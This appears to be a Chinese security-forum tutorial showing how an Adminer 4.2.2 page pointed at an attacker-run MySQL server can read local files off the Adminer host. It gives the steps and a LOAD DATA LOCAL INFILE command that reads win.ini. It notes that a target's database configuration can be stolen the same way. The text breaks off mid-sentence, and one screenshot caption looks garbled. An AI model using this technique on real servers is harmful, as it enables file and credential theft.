

起因：

和师傅们在群里面进行了一番学术性探讨，突然想起来有这么个东西，还是和领导偷的。

LOAD DATA语句介绍：

MySQL 中提供了LOAD DATA INFILE语句来插入数据。以下实例中将从当前目录中读取文件 dump.txt ，将该文件中的数据插入到当前数据库的 mytbl 表中。

也就是说将客户端文件读入到mysql表中，phpadminer可以连接远程数据库，那么这样就可以在远程数据库中读到本地文件。

环境搭建：

1. adminer
2. 远程服务器搭建mysql
3. 开启mysql外链

环境搭建：

打开phpmyadminer页面，可以发现他允许链接远程数据：

 127.0.0.1/adminer.php?server=118.24.198.151&username=root

简体中文 ▼

adminer 4.2.2

登录

ÓÉÓÚĀz±ēŁĆĖă»ú»ŷŁ«ŦŪŕŁ→ÎŦ.˘Á˘˘Ó˘Ł

系统	MySQL ▼
服务器	118.24.198.151
用户名	root
密码	<input type="password"/>
数据库	<input type="text"/>

☐ 保持登录

这里我在百度云申请了一个免费的mysql云服务器：

< 返回实例列表

基本信息

账号管理

数据库管理

参数配置

监控

备份

日志管理

安全

产品服务 / 云数据库 RDS-实例列表 / 账号管理

ID: rds-MzGpwg1Q (名称: mysql57) ● 运行中

重启实例 数据库管理

+ 创建账号

+ 创建super账号

帮助文档

账号	账号状态	账号类型	备注	操作
root	● 运行中	主实例super账号		修改密码 删除

然后使用phpadminer成功的登录了进来：

← → ↺ ⓘ 127.0.0.1/adminer.php?server=mysql57.rds.m8ko5ot4utou.rds.bj.baidubce.com&username=root

应用

语言: 简体中文

MySQL > mysql57.rds.m8ko5ot4utou.rds.bj.baidubce.com

Adminer 4.2.2

DB:

SQL命令 导入 导出

选择数据库

创建新数据库 权限 进程列表 变量 状态

MySQL 版本: 5.7.17-baidu-rds-3.0.0.1-log, 使用PHP扩展 MySQLi

登录用户: root@221.220.61.58

	数据库 - 刷新	校对	表	Size - Compute
<input type="checkbox"/>	information_schema	utf8_general_ci	?	?
<input type="checkbox"/>	mysql	utf8_general_ci	?	?
<input type="checkbox"/>	performance_schema	utf8_general_ci	?	?
<input type="checkbox"/>	sys	utf8_general_ci	?	?

Selected (0)

删除

然后创建了一个test数据库以及name字段：

应用

语言: 简体中文

MySQL > mysql57.rds.m8ko5ot4utou.rds.bj.baidubce.com » test » 表: table

Adminer 4.2.2

DB: test

SQL命令 导入 导出 创建表

选择 table

表: table

已创建表。 12:43:29 SQL命令

选择数据 显示结构 修改表 新建数据

列	类型	注释
text	varchar(255)	

索引

修改索引

外键

添加外键

触发器

创建触发器

SQL语句：

The screenshot displays a web-based MySQL management interface. At the top, the browser address bar shows the URL: `127.0.0.1/adminer.php?server=mysql57.rds.mysql8ko5ot4utou.rds.bj.baidubce.com&username=root&db=test&sql=`. The interface has a sidebar on the left with a search bar and a dropdown menu showing '4.2.2'. The main content area has a breadcrumb trail: 'MySQL » mysql57.rds.mysql8ko5ot4utou.rds.bj.baidubce.com » test » SQL命令'. Below this is a section titled 'SQL命令' (SQL Command). The command entered is: `LOAD DATA LOCAL INFILE 'C:\\Windows\\win.ini' INTO TABLE test.table`. The execution result is displayed in a green box: '查询执行完毕, 7 行受影响。 (0.024 秒) 编辑' (Query execution completed, 7 rows affected. (0.024 seconds) Edit). Below the result is a text area containing the command: `LOAD DATA LOCAL INFILE 'C:\\Windows\\win.ini' INTO TABLE test.table;`. At the bottom, there are checkboxes for 'Limit rows:', '出错时停止' (Stop on error), and '仅显示错误' (Show only errors). A '历史' (History) button is also visible. Three red arrows are overlaid on the image: one points to the search bar in the sidebar, another points to the command text area, and a third points to the execution result box.

The screenshot shows the phpMyAdmin interface for a MySQL database named 'test'. The table 'table' is selected, and its structure is displayed. The table has one column, 'text', with a 'text' data type. The 'mci extensions' field is highlighted with a red arrow, indicating the location where the 'mci extensions' value should be entered. The 'mci extensions' field is located in the 'Options' section of the table structure view.

小结:

也就是说，当目标使用phpadminner进行数据管理时，我们可以直接连接自己的数据库来达到读取客户端文件的目的。这样就可以直接读取到目标的数据库配置文件，在使

[上一篇：pwn堆入门系列教程6](#) [下一篇：\[红日安全\]Web安全Day6 -...](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)